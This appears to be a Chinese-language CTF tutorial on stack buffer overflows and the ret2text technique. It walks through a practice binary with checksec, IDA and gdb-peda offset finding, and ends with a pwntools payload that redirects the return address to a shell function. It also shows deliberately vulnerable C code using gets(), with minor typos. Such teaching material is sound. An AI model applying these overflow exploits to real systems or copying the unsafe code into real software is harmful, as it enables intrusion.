0x00 栈溢出

Buffer Overflow(缓冲区溢出)

因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。

# include <stdio.h>

chr name[50];    //设置name变量,大小为50个字节

int main(){
    setvbuf(stdout,0,2,0);
    printf("Name:");
    read(0,name,50);      //读取50个字节到name
    char buf[20];         //设置buf变量,大小为20个字节
    printf("Try your best:");
    gets(buf);            //读取用户输入到buf(不限长度)
    return;
}

从上面代码我们可以看出,read()函数限定了接收数据的字节数,并没有造成溢出,但是gets()函数没有限制接收数据的大小,若用户输入大于20个字节的数据,就会造成溢出。

Stack Overflow(栈溢出)

又称stack smashing,专指在stack上的Overflow,利用方式简单,可直接覆盖return address和控制参数,不管是什么漏洞,如果能找到stack overflow,之后就是标准动作了。

常见易溢出函数

gets;scanf;strcpy;sprintf;memcpy;strcat……

0x01 ret2text

Return to text,控制程序的返回地址到原本程序中的函数(代码)。

例如程序中有类似function:

  • system(‘/bin/sh’)
  • execve(‘/bin/sh’,NULL,NULL)

就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。

0x02 例题

题目附件下载

1)查看文件信息

先将题目拷贝到之前搭建好的pwn环境中,然后使用file和checksec命令查看题目信息。

$ file ./ret2text
$ checksec ./ret2text

2)查看程序大概流程

运行一下程序,了解程序的大概流程

3)分析程序&查找漏洞点

将程序扔到ida pro中分析

看到左侧函数窗口中有vuln()函数,双击进入

双击&buf,查看buf大小

我们看到buf的大小为1C+4,换算成10进制为32

但是read()函数可以读入的大小为50,那么这里很明显存在栈溢出

我们继续看左侧函数窗口,发现shell()函数,双击进入

shell()函数中我们发现了 system(“/bin/sh”)

也就是说我们调用shell()函数会给我们返回一个shell

4)计算溢出偏移量

将程序导入gdb

$ gdb ./ret2text

输入r或者run,将程序运行起来

当提示我们输入的时候,按ctrl+c将程序中断

我们会看到这样一个界面,在终端输入

gdb-peda$ pattern create 100

工具会自动帮我们生成一个100长度的字符串

我们将字符串复制,并输入c敲回车,继续运行程序

将复制的字符串粘贴,并回车

我们看到程序又被中断了,并且在DISASM窗口中提示Invalid address 0x41412941,程序的返回地址被我们的字符串覆盖了。

第三篇我们讲过,EIP寄存器为指令寄存器,指向处理器下条等待执行的指令地址,正常情况当程序运行完当前函数EIP应该指向返回地址,并跳转到返回地址继续执行,我们看EIP寄存器的值为0x41412941,对应字符为“A)AA”,正是我们输入字符串中的字符。

也就是说,我们找到“A)AA”在字符串中的位置,输入前面那些字符,并将“A)AA”替换成一个函数地址,那么当程序执行完当前函数,就会跳转到我们输入的函数地址继续执行。

联想到我们之前找到的shell函数,我们将返回地址替换成shell函数的地址,那么程序执行完当前函数就会给我们返回一个shell。

我们可以通过pattern工具直接算出“A)AA”在字符串中的位置

gdb-peda$ pattern offset 0x41412941

我们计算出偏移量为32。

接下来我们就可以构造我们的payload了。

5)构造payload

from pwn import *

r = process('./ret2text')

padding = 32
shell_addr = 0x0804851d

payload = 'a' * padding
payload += p32(shell_addr)

r.sendline(payload)

r.interactive()